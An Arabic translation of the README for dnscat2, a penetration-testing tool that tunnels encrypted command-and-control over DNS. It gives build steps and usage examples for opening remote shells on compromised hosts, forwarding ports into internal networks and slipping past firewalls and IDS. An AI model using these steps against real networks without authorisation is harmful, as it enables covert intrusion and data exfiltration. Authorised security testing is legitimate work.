
نفق مشفر للتحكم والأوامر عبر بروتوكول DNS. ينشئ قنوات C&C خفية لاختبار الاختراق، مع إمكانيات نقل الملفات، الوصول إلى الصدفة، وتوجيه المنافذ عبر استعلامات DNS.
***** ملاحظة: كلمة المرور للتحميلات المضغوطة (zip) كلها "password"! *****
مرحبًا بك في dnscat2، نفق DNS لن يجعلك مريضًا ويقتلك!
تم تصميم هذه الأداة لإنشاء قناة أوامر وتحكم (C&C) مشفرة عبر بروتوكول DNS، وهو نفق فعال للخروج من أي شبكة تقريبًا.
يجب أن يحتوي ملف README هذا على كل ما تحتاجه للبدء والتشغيل! إذا كنت مهتمًا بالتعمق في البروتوكول، أو كيفية تنظيم الكود، أو الخطط المستقبلية، أو أشياء غامضة أخرى، فاطلع على مجلد doc/.
تم إصدار هذا بموجب ترخيص BSD. راجع LICENSE.md لمزيد من المعلومات.
يتكون dnscat2 من جزأين: العميل والخادم.
تم تصميم العميل ليعمل على جهاز مخترق. إنه مكتوب بلغة C ولديه أقل عدد ممكن من التبعيات. يجب أن يعمل في أي مكان تقريبًا (إذا وجدت نظامًا لا يتم compile أو تشغيله عليه، يرجى فتح تذكرة، خاصة إذا كان بإمكانك مساعدتي في الوصول إلى هذا النظام).
عند تشغيل العميل، تحدد عادةً اسم نطاق. سيتم إرسال جميع الطلبات إلى خادم DNS المحلي، ثم إعادة توجيهها إلى خادم DNS الموثوق لهذا النطاق (والذي من المفترض أن تتحكم فيه).
إذا لم يكن لديك خادم DNS موثوق، يمكنك أيضًا استخدام اتصالات مباشرة على UDP/53 (أو أي ما تختاره). ستكون أسرع، وستظل تبدو كحركة مرور DNS للمشاهد العادي، لكنها أكثر وضوحًا في سجل الحزم (جميع النطاقات مسبوقة بـ "dnscat."، إلا إذا قمت بتعديل المصدر). غالبًا ما سيتم حظر هذا الوضع بواسطة جدران الحماية.
تم تصميم الخادم ليعمل على خادم DNS موثوق. إنه مكتوب بلغة ruby، ويعتمد على عدة gems مختلفة. عند تشغيله، مثل العميل تمامًا، تحدد النطاق (النطاقات) التي يجب أن يستمع إليها بالإضافة إلى الاستماع للرسائل المرسلة إليه مباشرة على UDP/53. عندما يستقبل حركة مرور لأحد هذه النطاقات، يحاول إنشاء اتصال منطقي. إذا استقبل حركة مرور أخرى، يتجاهلها افتراضيًا، ولكن يمكنه أيضًا إعادة توجيهها إلى upstream.
التعليمات المفصلة لكلا الجزأين أدناه.
يسعى dnscat2 ليكون مختلفًا عن بروتوكولات نفق DNS الأخرى من خلال تصميمه لغرض خاص: الأوامر والتحكم.
لم يتم تصميمه لإخراجك من شبكة فندق، أو للحصول على إنترنت مجاني على متن طائرة. ولا يقوم فقط بعمل نفق لـ TCP.
يمكنه إنشاء نفق لأي بيانات، بدون بروتوكول مرفق. مما يعني أنه يمكنه رفع وتنزيل الملفات، وتشغيل شيل، والقيام بهذه الأشياء بشكل جيد. يمكنه أيضًا بشكل محتمل إنشاء نفق لـ TCP، ولكن هذا سيتم إضافته فقط في سياق أداة اختبار الاختراق (أي إنشاء نفق لـ TCP داخل شبكة)، وليس كأداة نفق للأغراض العامة. لقد تم ذلك بالفعل، إنه ليس مثيرًا للاهتمام (بالنسبة لي).
إنه أيضًا مشفر افتراضيًا. لا أعتقد أن أي نفق DNS عام آخر يقوم بتشفير جميع حركة المرور!
إليك بعض الروابط المهمة:
النظرية وراء dnscat2 بسيطة: إنشاء نفق عبر بروتوكول DNS.
لماذا؟ لأن DNS له خاصية مذهلة: سيجد طريقه من خادم إلى آخر حتى يكتشف أين من المفترض أن يذهب.
هذا يعني أنه بالنسبة لـ dnscat لإخراج حركة المرور من شبكة آمنة، ما عليه إلا إرسال رسائل إلى خادم DNS، والذي سيعيد توجيه الأشياء بسعادة عبر شبكة DNS حتى تصل إلى خادم DNS الخاص بك.
هذا، بالطبع، يفترض أن لديك إمكانية الوصول إلى خادم DNS موثوق. يدعم dnscat2 أيضًا اتصالات "مباشرة" - أي تشغيل عميل dnscat يتصل مباشرة بالخادم dnscat الخاص بك على عنوان IP الخاص بك ومنفذ UDP 53 (افتراضيًا). لا تزال حركة المرور تبدو كحركة مرور DNS، وقد تتجاوز أنظمة IDS/IPS الأقل ذكاءً، لكنها لا تزال عرضة للإيقاف بواسطة جدران الحماية.
إذا لم تكن واضحًا بشأن كيفية إعداد خادم DNS موثوق، فهذا شيء يجب إعداده مع مزود النطاق. لقد قام izhan بشكل مفيد بكتابة واحد من أجلك!
يجب أن يكون تجميع العميل أمرًا بسيطًا - كل ما تحتاجه للcompile هو make/gcc (لـ Linux) أو إما Cygwin أو Microsoft Visual Studio (لـ Windows). إليك الأوامر على Linux:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
على Windows، قم بتحميل client/win32/dnscat2.vcproj في Visual Studio واضغط "build". لقد أنشأته واختبرته على Visual Studio 2008 - حتى أحصل على نسخة شرعية مجانية من إصدار أحدث، من المحتمل أن ألتزم بذلك. :)
إذا فشلت عملية compile، يرجى فتح خطأ في صفحة github! يرجى إرسال تفاصيل حول نظامك.
يمكنك التحقق من أن dnscat2 تمت compile بنجاح عن طريق تشغيله بدون علامات; سترى أنه يحاول بدء نفق DNS مع خادم DNS الذي قمت بتكوينه (والذي سيفشل):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
الخادم ليس "مجمّعًا" بالمعنى التقليدي، لكنه يتطلب بعض تبعيات Ruby. لسوء الحظ، يمكن أن تكون تبعيات Ruby مزعجة لعملها، لذا حظًا سعيدًا! إذا كان هناك أي خبراء Ruby يرغبون في المساعدة في تحسين هذا القسم، سأكون ممتنًا!
أفترض أن لديك Ruby و Gem مثبتة وتعمل بشكل صحيح. إذا لم تكن كذلك، فقم بتثبيتها إما باستخدام apt-get أو emerge أو rvm أو أيًا كان المعتاد على نظام التشغيل الخاص بك.
بمجرد ترتيب Ruby/Gem، قم بتشغيل هذه الأوامر (ملاحظة: يمكنك بالتأكيد تخطي أمر git clone إذا كنت قد قمت بالفعل بتثبيت العميل وتخطي gem install bundler إذا كنت قد قمت بالفعل بتثبيت bundler):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
إذا حصلت على خطأ في الأذونات مع gem install bundler أو bundler install، فقد تحتاج إلى تشغيلها كجذر. إذا كان لديك الكثير من المشكلات، قم بإلغاء تثبيت Ruby/Gem وتثبيت كل شيء باستخدام rvm وبدون جذر.
إذا حصلت على خطأ يبدو مثل هذا:
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
هذا يعني أنك بحاجة إلى تثبيت إصدار -dev من Ruby:
$ sudo apt-get install ruby-dev
أجد أن sudo ليس كافيًا دائمًا لجعل كل شيء يعمل بشكل صحيح، أضطر أحيانًا إلى التبديل إلى الجذر والعمل مباشرة كحساب جذر. rvmsudo لا يساعد، لأنه يعطل ctrl-z.
يمكنك التحقق من أن الخادم يعمل عن طريق تشغيله بدون علامات ومعرفة ما إذا كنت تحصل على موجه dnscat2>:
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
إذا لم تقم بتشغيله كجذر، فقد تواجه مشكلة في الاستماع على UDP/53 (يمكنك استخدام --dnsport لتغييره). سترى رسالة خطأ إذا كان الأمر كذلك.
إذا كنت تواجه مشكلة في تشغيل Ruby كجذر، فهذا ما أفعله لتشغيله في المرة الأولى:
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
وفي المرات اللاحقة:
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo يجب أن يسهل الأمر، لكن dnscat2 لا يعمل بشكل جيد مع rvmsudo للأسف.
قبل أن نتحدث عن كيفية استخدام الأدوات بشكل محدد، دعنا نتحدث عن كيفية تنظيم dnscat. أداة dnscat مقسمة إلى جزئين: عميل وخادم. كما لاحظت إذا تابعت عملية compile، العميل مكتوب بلغة C والخادم بلغة Ruby.
بشكل عام، يتم تشغيل الخادم أولاً. يمكن أن يكون طويل العمر، ويتعامل مع أي عدد من العملاء تريده. كما قلت من قبل، إنها في الأساس خدمة أوامر وتحكم (C&C).
لاحقًا، يتم تشغيل عميل، والذي يفتح جلسة مع الخادم (المزيد عن الجلسات أدناه). يمكن للجلسة إما أن تخترق التسلسل الهرمي لـ DNS (موصى به، ولكنه أكثر تعقيدًا) أو تتصل مباشرة بالخادم. اختراق التسلسل الهرمي لـ DNS يتطلب نطاقًا موثوقًا، لكنه سيتجاوز معظم جدران الحماية. الاتصال المباشر بالخادم أكثر وضوحًا لعدة أسباب.
افتراضيًا، الاتصالات مشفرة تلقائيًا (يمكن إيقاف تشغيلها على العميل باستخدام --no-encryption وعلى الخادم باستخدام --security=open). عند إنشاء اتصال جديد، إذا كنت مرتابًا بشأن هجمات الرجل في الوسط، لديك خياران للتحقق من النظير:
--secret على كلا الجانبين للتحقق من الاتصالالخادم - الذي يتم تشغيله عادةً على خادم DNS الموثوق لنطاق معين - مصمم ليكون غنيًا بالميزات وتفاعليًا وسهل الاستخدام. إنه مكتوب بلغة Ruby، والكثير من تصميمه مستوحى من Metasploit و Meterpreter.
إذا اتبعت تعليمات compile أعلاه، يجب أن تكون قادرًا على تشغيل الخادم ببساطة:
$ ruby ./dnscat2.rb skullseclabs.org
حيث "skullseclabs.org" هو نطاقك الخاص. إذا لم يكن لديك خادم DNS موثوق، فهو ليس إلزاميًا؛ لكن هذه الأداة تعمل بشكل أفضل بكثير مع خادم موثوق.
هذا في الواقع كل ما تحتاجه! بخلاف ذلك، يمكنك اختباره باستخدام أمر --ping في العميل على أي نظام آخر، والذي يجب أن يكون متاحًا إذا قمت بتجميعه:
$ ./dnscat --ping skullseclabs.org
إذا نجح أمر ping، فمن المحتمل أن خادم C&C الخاص بك جيد! إذا قمت بتشغيل خادم DNS على منفذ مختلف، أو إذا كنت بحاجة إلى استخدام محلل DNS مخصص، يمكنك استخدام علامة --dns بالإضافة إلى --ping:
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
لاحظ أنه عند تحديد وسيط --dns، يجب أن يكون النطاق جزءًا من هذا الوسيط (كـ domain=xxx). لا يمكنك تمريره ببساطة في سطر الأوامر (بسبب قيود في تحليل الأوامر الخاصة بي؛ من المحتمل أن أحسّن ذلك في إصدار مستقبلي).
عندما تكون العملية قيد التشغيل، يمكنك بدء خادم جديد باستخدام نفس الصيغة تمامًا:
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
./dnscat2 test.com
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53532
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.
يمكنك تشغيل أي عدد تريده من مستقبلات DNS، طالما أنها على مضيف/منافذ مختلفة. بمجرد دخول البيانات، لا يعرف باقي العملية حتى من أي مستقبل جاءت البيانات؛ في الواقع، يمكن للعميل إرسال حزم مختلفة إلى منافذ مختلفة، وستستمر الجلسة كما هو متوقع.
العميل - الذي يتم تشغيله عادةً على نظام بعد اختراقه - مصمم ليكون بسيطًا ومستقرًا وقابلاً للنقل. إنه مكتوب بلغة C وله أقل عدد ممكن من تبعيات المكتبات، ويتم compile / تشغيله بشكل أصلي على Linux و Windows و Cygwin و FreeBSD و Mac OS X.
يتم إعطاء العميل اسم النطاق في سطر الأوامر، على سبيل المثال:
./dnscat2 skullseclabs.org
في هذا المثال، سيقوم بإنشاء جلسة C&C مع خادم dnscat2 الذي يعمل على skullseclabs.org. إذا لم يكن النطاق الموثوق خيارًا متاحًا، يمكن إعطاؤه عنوان IP محدد للاتصال به بدلاً من ذلك:
./dnscat2 --dns host=206.220.196.59,port=5353
بافتراض وجود خادم dnscat2 يعمل على هذا المضيف/المنفذ، سيقوم بإنشاء جلسة هناك.
يا صديقي؛ سمعت أنك تحب الأنفاق، لذا الآن يمكنك إنشاء نفق لنفق عبر نفقك!
من الممكن حاليًا إنشاء نفق لاتصال عبر dnscat2، مشابه لـ "ssh -L"! أوضاع أخرى ("ssh -D" و "ssh -R") قادمة قريبًا أيضًا!
بعد بدء جلسة (جلسة أوامر)، يتم استخدام الأمر "listen" لفتح منفذ نفق جديد. الصيغة تقريبًا نفس ssh -L:
listen [lhost:]lport rhost:rport
المضيف المحلي اختياري، وسيتم تعيينه افتراضيًا لجميع الواجهات (0.0.0.0). المنفذ المحلي والمضيف/منفذ البعيد إلزاميان.
سوف يستمع خادم dnscat2 على المنفذ lport. يتم إعادة توجيه جميع الاتصالات المستلمة إلى ذلك المنفذ، عبر عميل dnscat2، إلى المضيف/المنفذ البعيد المختار.
على سبيل المثال، سوف يستمع هذا على المنفذ 4444 (على الخادم) وإعادة توجيه حركة المرور إلى google:
listen 4444 www.google.com:80
ثم، إذا اتصلت بـ http://localhost:4444، فسيخرج عبر عميل dnscat2 ويتصل بـ google.com.
لنفترض أنك تستخدم هذا في اختبار اختراق وتريد إعادة توجيه اتصالات ssh عبر عميل dnscat2 (يعمل على شبكة شركة شخص ما) إلى جهاز داخلي. يمكنك ذلك!
listen 127.0.0.1:2222 10.10.10.10:22
هذا سيستمع فقط على واجهة localhost على خادم dnscat2، وسيعيد توجيه الاتصالات عبر النفق إلى المنفذ 22 لـ 10.10.10.10.
dnscat2 مشفر افتراضيًا.
أنا لست عالم تشفير، وبالضرورة قمت بابتكار نظام التشفير بنفسي. نتيجة لذلك، لن أثق بنسبة 100% في هذا. أعتقد أنني قمت بعمل جيد جدًا في منع الهجمات، لكن لم يتم تدقيق هذا بشكل احترافي. استخدم بحذر.
هناك الكثير من المعلومات التقنية حول التشفير في وثيقة البروتوكول. ولكن هنا الأساسيات.
افتراضيًا، كل من العميل والخادم يدعمان التشفير وسيحاولانه. كل اتصال يستخدم زوج مفاتيح جديد، يتم التفاوض عليه بواسطة ECDH. جميع التشفيرات تتم بواسطة salsa20، والتوقيعات تستخدم sha3.
يمكن تعطيل التشفير على العميل عن طريق تمرير --no-encryption في سطر الأوامر، أو عن طريق compile باستخدام make nocrypto.
سيقوم الخادم برفض الاتصالات غير المشفرة افتراضيًا. للسماح بالاتصالات غير المشفرة، مرر --security=open إلى الخادم، أو قم بتشغيل set security=open في وحدة التحكم.
افتراضيًا، لا توجد حماية ضد هجمات الرجل في الوسط. كما ذكرنا سابقًا، هناك طريقتان مختلفتان للحصول على حماية MitM: سر مشترك مسبقًا أو "سلسلة مصادقة قصيرة".
يتم تمرير سر مشترك مسبقًا في سطر الأوامر لكل من العميل والخادم، ويستخدم لمصادقة كل من العميل للخادم والخادم للعميل. يجب أن تكون قيمة قوية نوعًا ما - شيء لا يمكن للمهاجم تخمينه بسرعة (هناك نافذة قصيرة فقط للمهاجم لتخمينه، لذا يجب أن تصمد لبضع ثوانٍ فقط).
يتم تمرير السر المشترك المسبق عبر معامل --secret على كل من العميل والخادم. يمكن للخادم تغييره أثناء التشغيل باستخدام set secret=<new value>، لكن ذلك قد يؤدي إلى نتائج غير متوقعة إذا كان هناك عملاء نشطون متصلون.
علاوة على ذلك، يمكن للخادم فرض السماح فقط بالاتصالات الموثقة باستخدام --security=authenticated أو set security=authenticated. يتم تمكين ذلك افتراضيًا إذا قمت بتمرير معامل --secret.
إذا كنت لا تحتاج إلى الجهد الإضافي لمصادقة الاتصالات، فسيتم عرض "سلسلة مصادقة قصيرة" من قبل كل من العميل والخادم. سلسلة المصادقة القصيرة هي سلسلة من الكلمات الإنجليزية المستخلصة بناءً على القيم السرية التي يشاركها كلا الجانبين.
إذا تم طباعة نفس مجموعة الكلمات الإنجليزية على كل من العميل والخادم، يمكن اعتبار الاتصال آمنًا بشكل معقول.
هذا تقريبًا كل ما تحتاج معرفته عن التشفير! راجع وثيقة البروتوكول للتفاصيل! أحب سماع أي ملاحظات حول التشفير أيضًا. :)
وأخيرًا، إذا واجهت أي مشاكل مع التشفير، فيرجى إخباري! سيتم إنشاء نافذة تسمى "crypto-debug" افتراضيًا في البداية. إذا كانت لديك مشاكل في التشفير، فيرجى إرسال هذا السجل إليّ! أو الأفضل من ذلك، قم بتشغيل dnscat2 بوسائط --firehose و --packet-trace، وأرسل لي كل شيء! لا تقلق بشأن كشف المفاتيح الخاصة؛ فهي تستخدم فقط لتلك الجلسة الواحدة.
واجهة مستخدم dnscat2 تتكون من مجموعة من النوافذ. النافذة الافتراضية تسمى النافذة 'الرئيسية'. يمكنك الحصول على قائمة النوافذ بكتابة windows (أو sessions) في أي موجه أوامر:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
ستلاحظ أن هناك نافذتين - النافذة 0 هي النافذة الرئيسية، والنافذة dns1 هي المستقبل (يشار إليها تقنيًا باسم 'مشغل النفق').
من أي نافذة تقبل الأوامر (main وجلسات الأوامر)، يمكنك كتابة help للحصول على قائمة الأوامر:
dnscat2> help
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
لأي من هذه الأوامر، يمكنك استخدام -h أو --help للحصول على التفاصيل:dnscat2> window --help Error: The user requested help
Interact with a window
-i, --i= Interact with the chosen window
-h, --help Show this message
سنستخدم الأمر window للتفاعل مع dns1، وهي نافذة حالة:
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...
بافتراض أن لديك خادم DNS موثوق، يمكنك تشغيل
العميل في أي مكان باستخدام:
./dnscat2 skullseclabs.org
للتحدث مباشرة إلى الخادم بدون اسم نطاق، قم بتشغيل:
./dnscat2 --dns server=x.x.x.x,port=53531
بالطبع، عليك تحديد <server> بنفسك! سيتصل
العملاء مباشرة عبر منفذ UDP 53531.
Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
السلاسل النصية التي تم استقبالها وإرسالها هناك، إذا قمت بفك تشفيرها، فهي عبارة عن إشارات ping.
يمكنك التبديل إلى نافذة 'الأصل' (في هذه الحالة، main) بالضغط
على ctrl-z. إذا كان ctrl-z يقتل العملية، فربما عليك إيجاد
طريقة أفضل لتشغيلها (rvmsudo لا يعمل، انظر أعلاه).
عند اتصال عميل جديد وإنشاء جلسة، سيتم إعلامك في
main (وفي نوافذ أخرى معينة):
New window created: 1
dnscat2>
(لاحظ أنه يجب عليك الضغط على Enter لاستعادة الموجه)
يمكنك التبديل إلى النافذة الجديدة بنفس الطريقة التي انتقلنا بها إلى نافذة الحالة dns1:
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (ubuntu-64) 1>
يمكن للجلسات الأوامرية إنشاء جلسات إضافية؛ على سبيل المثال، الأمر shell:
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!
command session (ubuntu-64) 1>
(لاحظ أنه في جميع أنحاء هذا المستند أقوم بتنظيف المخرجات؛ عادةً عليك الضغط على Enter لاستعادة الموجه)
ثم، إذا عدت إلى الجلسة الرئيسية (ctrl-z أو suspend)، ستراها
في قائمة النوافذ:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
لسوء الحظ، الأمر 'windows' في جلسة أوامرية معينة يُظهر فقط النوافذ الفرعية لتلك الجلسة، وحاليًا لا يتم إنشاء جلسات جديدة كأطفال.
لاحظ أن بعض الجلسات تحتوي على [*] - وهذا يعني أن هناك
نشاطًا منذ آخر مرة نظرنا إليها.
عند التفاعل مع جلسة، ستختلف الواجهة حسب نوع الجلسة. كما رأيت مع نوع الجلسة الافتراضي (الجلسات الأوامرية) تحصل على واجهة مستخدم مشابهة للجلسة العليا (يمكنك كتابة 'help' أو تشغيل أوامر أو ما شابه). ومع ذلك، إذا تفاعلت مع جلسة 'shell'، فلن ترى الكثير فورًا، حتى تكتب أمرًا:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
sh (ubuntu-64) 2> pwd
/home/ron/tools/dnscat2/client
للهروب من هذا، يمكنك استخدام ctrl-z أو كتابة "exit" (والذي سيقتل الجلسة).
أخيرًا، لقتل جلسة، يمكن استخدام الأمر kill:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
في الماضي، كانت هناك العديد من أدوات نفق DNS. إحداها كانت تسمى dnscat، من كتابة Tadek Pietraszek. المشكلة أنها مكتوبة بلغة Java، وأردت حقًا شيئًا يمكن تشغيله في كل مكان تقريبًا.
تلك النسخة من dnscat كانت مبنية على أداة تسمى NSTX، التي لم يعد لصفحتها وجود ولا حتى في Wayback Machine، لذا لا أعرف شيئًا عنها.
لاحقًا، كتبت تطبيقًا بلغة C وأسميته dnscat (بدون إذن)، لأن النسخة السابقة من Java كانت غير مدعومة وأحببت الاسم حقًا (فكرت في تسميته dnscat-ng، لكن -ng طويلة بعض الشيء حسب ذوقي). لقد عملت، لكن كانت هناك الكثير من المشاكل. كان العميل والخادم نفس الأداة، مثل netcat، والذي، بسبب نموذج العميل/الخادم لـ DNS، لم يعمل بشكل جيد. المشكلة الأخرى هي أنني ربطته كثيرًا ببروتوكول DNS، لذا كان يمكنه العمل فقط عبر DNS.
dnscat2 - الخلف لـ dnscat - هو محاولة لتصحيح بعض الأخطاء التي ارتكبتها. يحتوي dnscat2 على خادم منفصل (Ruby) وعميل (C) ويعامل كل شيء كتيار من البايتات، ويستخدم مشغلًا، من نوع ما، لتحويل هذا التيار من البايتات إلى طلبات DNS والعكس. وبالتالي، فهو بروتوكول طبقي، مع DNS كطبقة سفلى.
ونتيجة لذلك، اخترعت بروتوكولًا أسميه بروتوكول dnscat. يمكنك العثور على توثيق حوله في docs/protocol.md. إنه بروتوكول شبكة استقصاء بسيط، حيث يقوم العميل باستقصاء الخادم من حين لآخر، ويستجيب الخادم برسالة (أو رمز خطأ). تم تصميم البروتوكول ليكون مقاومًا للمشكلات المختلفة التي واجهتها مع dnscat1 - أي أنه يمكنه التعامل مع الحزم غير المرتبة، والحزم المفقودة، والحزم المكررة بنفس الجودة.